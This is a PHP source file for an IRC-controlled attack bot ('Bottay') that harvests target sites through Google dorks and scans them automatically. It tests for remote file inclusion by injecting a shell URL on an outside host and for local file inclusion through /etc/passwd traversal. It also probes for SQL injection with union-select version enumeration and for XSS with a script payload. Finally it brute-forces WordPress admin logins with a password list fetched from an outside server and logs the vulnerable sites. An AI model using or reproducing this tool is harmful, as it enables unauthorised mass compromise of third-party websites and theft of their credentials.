<?php

/*
	Bottay V 1.0 Public Versiyon
	site URL : http://www.megaturks.net/megaturks-arge-356/bottay-irc-php-bot-public-version-video-22743/
	Coded By Burtay
	admin@burtay.org
	Burtay.Org
	Megaturks.Net
	Special Thanks RMx
*/

error_reporting(0);
set_time_limit(0);
class IRC_BOT
{
	public	$server;			//	Bağlantı Yapılacak IRC Server
	public	$port;				//	Bağlantı yapılacak port
	public	$nick;				//	Serverda Kullanılacak Olan Nick
	public	$kanal;				//	Giriş Yapılacak Kanal
	public	$baglan;			//	Socket işlemini yapan değişken (Logları ekrana yazdırmak ve gelen gideb veriyi kontrol edebilmejk için)
	public	$ex;				//	explode ile komut satırını inceleyen değişken
	public	$log;				//	Ne olduğunu bende hatırlamıyom :D
	public	$google_dil;		//	Aramanın yapıldığı dil
	public	$google_adres;		//	Aramanın yapıldığı google domaini
	public	$log_dosyasi		=	"Bottay-Log.txt";
	public	$bug_log			=	"bug_log.txt";
	public	$toplu_bug			=	'toplu.txt';
	public	$alt				=	"\n";
	public	$google_regex		=	'#<h3 class="r"><a href="(.*?)" class=l>#si';
	public	$bing_regex			=	'#<h3><a href="(.*?)" onmousedown=#si';
	public	$reverse_site		=	'http://www.ip-adress.com/reverse_ip/';
	public	$reverse_regex		=	array('#<div id="hostcount">(.*?)Hosts on this IP</div>#si','#<a href="/whois/(.*?)">Whois</a>#si');
	public	$reverse_dosya		=	'reverse.txt';
	public	$incele_wp			=	'Hedef/wp.txt';
	public	$incele_joomla		=	'Hedef/joomla.txt';
	public	$post;
	public	$basic_password		=	'http://afrikanhosting.com/images/wp.txt';
	public	$wordpress_regex	=	array('general.php','wp-content','wp-includes');	
	public	$joomla_regex		=	array('components','option=com_');
	public	$joomla_buglist		=	array();
	public	$shell_adresi		=	'http://afrikanhosting.com/images/burtay/rfi.txt?';
	public	$rfi_regex			=	'CodedByBurtay';
	public	$rfi_log			=	'rfi.txt';
	public	$lfi_log			=	'lfi.txt';
	public	$lfd_log			=	'lfd.txt';
	public	$xss_log			=	'xss.txt';
	public	$mysql_log			=	'mysql.txt';
	public	$mssql_log			=	'mssql.txt';
	public	$access_log			=	'access.txt';
	public	$oracle_log			=	'oracle.txt';
	public	$blind_log			=	'blind.txt';
	public	$wp_log				=	'wp.txt';
	public	$lfi_shell			=	'../../../../../../../../../../../../../../../etc/passwd';
	public	$lfi_regex			=	'root:x:';
	public	$sql_ek				=	"'a";
	public	$sql_shell			=	'+and+1=0';
	public	$sql_shell2			=	'+and+1=1';
	public	$max_kolon			=	30;
	public	$versiyon_regex		=	array('concat(0x3C626F7476657273696F6E3E,version(),0x3C2F626F7476657273696F6E3E)','#<botversion>(.*?)</botversion>#si');
	public	$mysql_regex		=	array('MySQL','mysql_fetch_array()','Sql syntax','mysql_fetch_row()','mysql_num_rows()','ODBC SQL');
	public	$mssql_regex		=	array('MSSQL','Unclosed',"'dbo'");
	public	$access_regex		=	array('Access','JET Database','for JDBC');
	public	$oracle_regex		=	array('ORACLE','ORA-01756');	
	public	$xss_regex			=	"<script>alert('CodedByBurtay')</script>";
	public	$siyah				=		'1';
	public	$mavi				=		'2';
	public	$yesil				=		'3';
	public	$kirmizi			=		'4';
	public	$kahverengi			=		'5';
	public	$mor				=		'6';
	public	$turuncu			=		'7';
	public	$sari				=		'8';
	public 	$google_renk;

	
		public function __construct()
		{
			$this->google_renk			=		$this->mavi . "G" . $this->kirmizi . "o" . $this->sari . "o" . $this->mavi . "g" . $this->yesil . "l" . $this->kirmizi . "e " . $this->kahverengi . " " ;
		}
		
		function baglan($server,$port)
		{

				$this->server			=		$server;
				$this->port				=		$port;
				$this->baglan			=		fsockopen($this->server,$this->port,$error_no,$error_str,10);
		}
		
		function ilk_adim($nick,$kanal)
		{
				$this->nick				=		$nick;
				$this->kanal			=		$kanal;
				fputs($this->baglan,"NICK ".$this->nick . $this->alt);
				fputs($this->baglan,"USER ".$this->nick ." " . $this->server . " ". $this->server . " : " .$nick . $this->alt);
				fputs($this->baglan,"JOIN ".$this->kanal. $this->alt);
				$this->yaz($this->turuncu . "Bottay Kanala Girdi.Açın Önümü Lan ");
				$this->yaz($this->turuncu . "Coded By ". $this->yesil . base64_decode("YnVydGF5"));
		}
		
		public function kanalda_kal()
		{
			while (! feof($this->baglan))
			{

				$this->log					=		fgets($this->baglan,128);
				//$this->kayit($this->log_dosyasi,nl2br($this->log));
				$this->ayir($this->log);
				$komut						=		explode(":",$this->ex[3]);
				$komut						=		trim($komut[1]);
				ob_flush();
				flush();
				usleep(5000);
				echo $this->log."<br>";
					if($this->ex[0]=="PING")
					{
						fputs($this->baglan,"PONG ".$this->ex[1]."\n");
						$this->yaz($this->kirmizi ."Bilgi:". $this->mavi . "PONG gönderildi");
						echo "Bilgi:PONG Gönderildi <br>";
					}
							
					switch($komut)
					{
						
						
						case "!help":
						$this->yaz($this->mavi . "Coded By ".base64_decode("YnVydGF5"));
						$this->yaz($this->mavi . "Bottay v.1.0 Beta Test");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!google googledomain dil dork start_page finish_page        -> googler için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!google_kısa googledomain dil dork start_page finish_page   -> googler sadece URL için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!bing burtay burtay dork start_page finish_page             -> Bing Arama Motoru için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!rfi googledomain dil dork start_page finish_page           -> RFI Tarama");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!lfi googledomain dil dork start_page finish_page           -> LFI Tarama");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!sql googledomain dil dork start_page finish_page           -> SQL Tarama");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!lfd googledomain dil dork start_page finish_page           -> LFD Tarama");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!xss googledomain dil dork start_page finish_page           -> LFD Tarama");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!wordpress googledomain dil dork start_page finish_page     -> wordpress brute-force için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!versyion site.com/path                                     -> MySQL kolon sayısı ve versiyon bulmak için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!reverse domain                                             -> ReverseIP için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!incele                                                     -> Hedef sistemi incelemek için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!wp-auto                                                    -> Hedef sistemdeki wordpressleri brute etmek için");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!ddos site.com path atak-sayisi                             -> DDos");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!rapidshare                                                 -> RapidShare.com brute");
						$this->yaz($this->kirmizi ."## ".  $this->yesil	  .  "!cikis                                                      -> Kanaldan Cikmak için");
						break;
						
						case "!cikis":
						$this->yaz($this->kirmizi . "Cikis Yapilmakta");
						fputs($this->baglan,"QUIT Allaha Ismarlaldık\n");
						break;
						
						###Google
						case "!google":

							foreach( $this->google() as $xxx )
								{
									$this->yaz($xxx);
								}
						break;
						###Google
						case "!bing":

									$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");

						break;

						###Googler Kısa Url
						case "!google_kısa":
							foreach( $this->google() as $xxx )
								{
									$siteler	=	$this->url_kisalt($xxx);
									$this->yaz($siteler);
								}	
						break;
						
						####TEST
						case "!test":
						$this->test();
						break;
						
						###RFI
						case "!rfi":
							$this->yaz($this->mor . "RFI Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->rfi($xxx);
								}
								$this->yaz($this->mor . "RFI Taraması Bitti");
						break;

						###LFI
						case "!lfi":
								$this->yaz($this->mor . "LFI Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->lfi($xxx);
								}	
								$this->yaz($this->mor . "LFI Taraması Bitti");
						break;


						###LFD
						case "!lfd":
								$this->yaz($this->mor . "LFD Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->lfd($xxx);
								}	
								$this->yaz($this->mor . "LFD Taraması Bitti");
						break;

						###SQL
						case "!sql":
								$this->yaz($this->mor . "SQL Injection Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->sql($xxx);
								}	
								$this->yaz($this->mor . "SQL Injection Taraması Bitti");
						break;


						###MySQL Versiyon
						case "!versiyon":
								$this->yaz($this->mor . "MySQL Versiyon Taraması Başladı");
								$this->versiyon_bul();
								$this->yaz($this->mor . "MySQL Versiyon Taraması Bitti");
						break;	

						###Blind SQL
						case "!blind":
								$this->yaz($this->mor . "Blind SQL Injection Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->blind_sql($xxx);
								}	
								$this->yaz($this->mor . "Blind SQL Injection MySQL Taraması Bitti");
						break;
						
						###Wordpress
						case "!wordpress":
							$this->yaz($this->mor . "Wordpress Taraması Basladi");
							foreach( $this->google() as $xxx )
								{								
									$xxx		=		$this->url_kisalt($xxx);
									$this->wordpress($xxx);
								}
								$this->yaz($this->mor . "Wordpress Taraması Bitti");								
						break;
						
						###ReverseIP
						case "!reverse":
						$this->reverse_ip();
						break;
						
						###Manuel Postalama
						case "!mgg":
						$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");
						break;
						
		
						###XSS
						case "!xss":
							$this->yaz($this->mor . "XSS Taraması Başladı");
							foreach( $this->google() as $xxx )
								{
									$this->xss($xxx);
								}
								$this->yaz($this->mor . "XSS Taraması Bitti");
						break;
						
						case "!incele":
						$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");
						break;
						
						case "!wp-auto":
						$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");
						break;
						
						case "!ddos":
						$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");
						break;
						
						case "!rapidshare":
						$this->yaz($this->kirmizi . "bu özellik Priv8 Versiyonda vardır");
						break;

					}	
			}
		}
			
		public function yaz($bunu)
		{
			#	$bunu değişkeni ile dışardan yazdıracağım iletiyi gönderiyorum
			#	Bu methodun çalışması için önceden baglan() methodunun çalıştırılması lazım
			fputs($this->baglan,"PRIVMSG " . $this->kanal . " : ". $bunu . "\n" );
		}
		
		public function get($site)
		{
			$curl	=	curl_init();
			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($curl,CURLOPT_COOKIEFILE,"bottay.dat");
			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
			curl_setopt($curl,CURLOPT_URL,$site);
			$calis	=	curl_exec($curl);
			return $calis;
		}
				
		public function	get2($site)
		{
			return file_get_contents($site);
		}
		
		public function post($site,$post)
		{
			$curl			=	curl_init();
			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
			curl_setopt($curl,CURLOPT_URL,$site);
			curl_setopt($curl,CURLOPT_COOKIEJAR,"bottay.dat");
			curl_setopt($curl,CURLOPT_COOKIEFILE,"bottay.dat");
			curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
			curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($curl,CURLOPT_POST,1);
			curl_setopt($curl,CURLOPT_POSTFIELDS,$post);
			
			$calis			=	curl_exec($curl);
			return $calis;
		}
		
		public function google()
		{
			//$this->google_dil();
			
			$this->google_adres	=		$this->ex[4];
			$this->yaz($this->turuncu ."Arama Yapılacak Google Domaini " . $this->yesil . $this->google_adres);
			$this->google_dil	=		$this->ex[5];	
			$this->yaz($this->turuncu ."Arama Yapılacak dil " . $this->yesil . $this->google_dil );			
				if( $this->google_dil=='multi' or $this->google_dil=='')
				{ 
					$this->google_dil=''; 
					$this->yaz($this->turuncu ."Arama Yapılacak dil " . $this->yesil ." Bütün diller");
				}		
			
			// Kanalda Komuttan Sonra Gönderilen İlk Kelime
			$kelime				=		urlencode($this->ex[6]);
			// Kanalda Komuttan Sonra Gönderilen İkinci Kelime
			$basla				=		$this->ex[7]-1;
			// Kanalda Komuttan Sonra Gönderilen Üçüncü Kelime
			$bit				=		$this->ex[8]-1;
			// Çıkan Değerleri array_push ile Method Dışına almak için array bir değişken tanımlama
			$sonucs				=			array();
			// Kanaldan Gönderilen Bşalangıç ve bitiş sayfası için Gerekli Değerler ile For döngüsü
			for($id=$basla ; $id<=$bit ; $id++)
			{
				$sayfa_no		=	$id+1;
				$this->yaz( $this->google_renk . $sayfa_no .". Sayfa Linkleri Alınıyor");
				//Gidilecek sayfa Sayısını 10 ile çarparak GoogleURL kısmına uydur
				$rakam		=			$id*10;
				//Gidilecek sayfa Ve aranacak Kelimeyi bildir
				$site= $this->google_adres . "/search?q=".$kelime."&lr=lang_".$this->google_dil ."&start=".$rakam."&sa=N";
				//Çıkan Sonuçları Regex ile al
				preg_match_all($this->google_regex,$this->get($site),$sonucfonk);
					//Regexden Gelen Array'ı Foreach Döngüsüne Sok
					foreach($sonucfonk[1] as $yazdir)
					{
						//HTML tag Varsa yok et ve temizle ifadeyi
						$sonuc		=	strip_tags($yazdir);
						//Bütün Değeri Method dışına Taşımak için Başka bir değişkene Push et
						array_push($sonucs,$sonuc);					
					}	
			}
			//Array_push ile dolan veriyi dönder
			//$this->yaz($google_renk . "Toplam Alınan Link ". $this->yesil . ($bit+1)*100 );
			return $sonucs;
					
		}
		

		
		public function test()
		{
			if ( ereg ( $this->rfi_regex,$this->get($this->shell_adresi) ) )
			{
				$this->yaz($this->yesil ."Shell Adresi Çalışıyor.RFI taratabilirsiniz");
			}
			else
			{
				$this->yaz($this->kirmizi . "Shell Adresi Çalışmıyor");
			}
			
		}
		
		public function rfi($gelen)
		{
			
			$site				=		$this->explode_rfi($gelen);
			$this->yaz($this->mor . "RFI Testing " . $this->turuncu . $site);
			sleep(2);
				if( ereg ($this->rfi_regex,$this->get( $site.$this->shell_adresi )) )
				{
					$this->yaz($this->kirmizi . "R". $this->mavi ."F". $this->sari ."I  " .$this->yesil . $site);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{
							$this->bug_kayit("RFI ".$site);
							$this->kayit($this->rfi_log,$gelen."/n");
						}
			    	
				}		
		}
				
		public function lfi($gelen)
		{
			$site				=		$this->explode_rfi($gelen);
			$this->yaz($this->mor . "LFI Testing " . $this->turuncu . $site);
			sleep(2);
				if( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell )) )
				{
					$this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I  " .$this->yesil . $site.$this->lfi_shell ."%00");
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{	
							
							$this->bug_kayit("LFI ".$site.$this->lfi_shell);
							$this->kayit($this->lfi_log,$gelen.$this->lfi_shell ."\n");
						}
				}
				elseif( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell ."%00" )) )
				{
					$this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I  " .$this->yesil . $site.$this->lfi_shell ."%00");
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{					
							$this->bug_kayit("LFI ".$site.$this->lfi_shell ."%00");
							$this->kayit($this->lfi_log,$gelen.$this->lfi_shell ."%00 \n");
						}
				}
		}
		
		public function lfd($gelen)
		{
			$site				=		$this->explode_rfi($gelen);
			$this->yaz($this->mor . "LFD Testing " . $this->turuncu . $site);
				if( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell )) )
				{
					$this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."D  " .$this->yesil . $site.$this->lfi_shell ."%00");
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{	
							$this->kayit($this->lfd_log,$gelen.$this->lfi_shell ."\n");
							$this->bug_kayit("LFD ".$gelen.$this->lfi_shell);
						}
				}
				elseif( ereg ($this->lfi_regex,$this->get( $site.$this->lfi_shell ."%00" )) )
				{
					$this->yaz($this->kirmizi . "L". $this->mavi ."F". $this->sari ."I  " .$this->yesil . $site.$this->lfi_shell ."%00");
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{					
							$this->kayit($this->lfd_log,$gelen.$this->lfi_shell ."%00\n");
							$this->bug_kayit("LFD ".$gelen.$this->lfi_shell ."%00");
						}
				}
		}		
		
		public function sql($gelen)
		{
			$this->yaz($this->mor . "SQL Testing " . $this->turuncu . $gelen.$this->sql_ek);
			$site			=	$this->get($gelen.$this->sql_ek );
			if( eregi($this->mysql_regex[1],$site) or eregi($this->mysql_regex[2],$site)  or eregi($this->mysql_regex[3],$site)  or eregi($this->mysql_regex[4],$site)  or eregi($this->mysql_regex[5],$site)   )
			{
				$this->yaz($this->kirmizi . "M". $this->mavi ."y". $this->sari ."S" .$this->yesil . "Q" . $this->kirmizi . "L  " . $this->yesil . $gelen);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->kayit($this->mysql_log,$gelen ."\n");							
							$this->bug_kayit("MySQL Injection ".$gelen);
						}
			}
			elseif( eregi($this->mssql_regex[1],$site) or eregi($this->mssql_regex[2],$site))
			{
				$this->yaz($this->kirmizi . "M". $this->mavi ."S". $this->sari ."S" .$this->yesil . "Q" . $this->kirmizi . "L  " . $this->yesil . $gelen);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->bug_kayit("MSSQL Injection ".$gelen);
							$this->kayit($this->mssql_log,$gelen ."\n");		
						}
			}
			elseif( eregi($this->access_regex[1],$site) or eregi($this->access_regex[2],$site) )
			{
				$this->yaz($this->kirmizi . "A". $this->mavi ."c". $this->sari ."c" .$this->yesil . "e" . $this->kirmizi . "s" . $this->kirmizi . "s  " . $this->yesil . $gelen);
						if( eregi ($this->url_kisalt($gelen),file_get_contents("$this->toplu_bug")) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->bug_kayit("Access SQL Injection ".$gelen);
							$this->kayit($this->access_log,$gelen ."\n");
						}
			}
			elseif( eregi($this->oracle_regex[1],$site) )
			{
				$this->yaz($this->kirmizi . "O". $this->mavi ."R". $this->sari ."A" .$this->yesil . "C" . $this->kirmizi . "L" . $this->kirmizi . "E  " . $this->yesil . $gelen);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->bug_kayit("ORACLE SQL Injection ".$gelen);
							$this->kayit($this->oracle_log,$gelen ."\n");			
						}
			}
		}
				
		public function blind_sql($gelen)
		{
			if(  $this->get2( $site.$this->sql_shell ) !== $this->get2( $site.$this->sql_shell2)  )
			{
				$this->yaz($this->kirmizi . "Blind "."S" .$this->yesil . "Q" . $this->kirmizi . "L  " . $this->yesil . $site);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->bug_kayit("Blind SQL Injection ".$site);
							$this->kayit($this->blind_log,$site ."\n");
						}
			}
		}
		
		public function versiyon_bul($site)
		{	
			if ($site == '')
			$site 		=	$this->ex[4];
			$site 		=	trim($site) .$this->sql_shell . "+union+select+". $this->versiyon_regex[0];
			$this->yaz($this->turuncu . "Kolon Sayısı bulunuyor");
			for($i=1 ; $i<=$this->max_kolon ; $i++)
			{				
				$kaynak	=	$this->get($site.'--');
				$title	=	preg_match($this->versiyon_regex[1],$kaynak,$versiyon);
				if ($title)
				{
					$this->yaz($this->yesil . "Kolon Sayisi Bulundu : ".$this->kirmizi . ' ' .  $i);			
					$this->yaz($this->yesil ."Versiyonu : " . $this->kirmizi . ' '. $versiyon[1] );
					break;
				}
				$site 		=	$site.','.$this->versiyon_regex[0];				
			}
		}		
		
		public function xss($gelen)
		{
			$gelen		=	$this->explode_rfi($gelen);
			$this->yaz($this->mor . "XSS Testing " . $this->turuncu . $gelen);
			if( ereg ($this->rfi_regex,$this->get($gelen.$this->xss_regex) ))
			{
				$this->yaz($this->kirmizi . "X" .$this->yesil . "S" . $this->kirmizi . "S " . $this->yesil . $gelen);
						if( eregi ($this->url_kisalt($gelen),file_get_contents($this->toplu_bug)) )
						{
							$this->yaz($this->kirmizi . " Bu Bug Daha önceden Kayıt edilmiş" );							
						}
						else
						{				
							$this->bug_kayit("XSS ".$gelen);
							$this->kayit($this->xss_log,$gelen ."\n");
						}			
			}
			
		}
				


		public function url_kisalt($url)
		{
			$ayir				=	explode("/",$url);
			return	"http://".$ayir[2];
		}		
		
		public function wordpress($site)
		{
			$this->yaz($this->mavi . "Taranan Site : ". $this->turuncu . $site);
			foreach($this->basic_password() as $passwords)
			{
				$password			=	trim($passwords);
				//$this->yaz("Denenen Sifre ".$password);
				$post				=	"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1";
				if( eregi ($this->wordpress_regex[0],$this->post($site."/wp-login.php",$post) ) )
				{
					$this->yaz($this->yesil.$site .$this->kirmizi." adresi Wordpress taramasinda kirilmistir.Sifresi ".$this->mor.$password);
					break;
				}
			}
		}
		
		public function reverse_ip()
		{
			//hedef siteyi al
			$site			=	$this->ex[4];
			//Başladığına dair mesaj ver
			$this->yaz($this->mor . "ReverseIP işlemi başladı");
			//kaynağı çek
			$kaynak			=	$this->get($this->reverse_site . $site);
			//toplam siteyi çek
			preg_match($this->reverse_regex[0],$kaynak,$toplam);
			$toplam			=	$toplam[1];
			$this->yaz($this->mor . "toplam". $this->yesil . " " .  $toplam . $this->mor ." site var");
			$this->yaz($this->turuncu . "Siteler Çekiliyor");
			unlink($this->reverse_dosya);
			preg_match_all($this->reverse_regex[1],$kaynak,$siteler);
				foreach($siteler[1] as $xyz)
				{
					$this->yaz($this->yesil . $xyz);
					$this->kayit($this->reverse_dosya,$xyz."\n");					
				}
				$this->yaz($this->turuncu . "siteler dosyaya kaydedildi.ayrıştırma işlemi için ".$this->kirmizi ."!incele");
			
		}
		
		public function kayit($dosya,$gelen)
		{
			$ac		=	fopen($dosya,'ab');
			fwrite($ac,$gelen);
			fclose($ac);
		}
			
		public function basic_password()
		{
			$sifre_al		=		file_get_contents($this->basic_password);
			$sifreler		=		explode("\n",$sifre_al);
			return $sifreler;
		}
				
		public function explode_rfi($gelen)
		{
			$gelen				=		explode("=",$gelen);
			$site				=		$gelen[0]."=";
			return	$site;
		}
		
		public function ayir($gelen)
		{
			$this->ex						=		explode(' ',$gelen);
		}
				
		public function bug_kayit($bug)
		{
			$ac								=		fopen( $this->bug_log,'ab' );
			fwrite($ac,$bug."\n<br>");
			fclose($ac);
			$ac								=		fopen( $this->toplu_bug,'ab' );
			fwrite($ac,$this->url_kisalt($bug)."\n");
			fclose($ac);
			$this->yaz($this->turuncu . "Bulunan Bug Kaydedildi");			
		}
}

$class		=	new IRC_BOT();
$class->baglan("irc.freenode.net",6667);
$class->ilk_adim(base64_decode("Ym90dGF5")."-public".rand(1,100),"#megaturks");
$class->kanalda_kal();
?>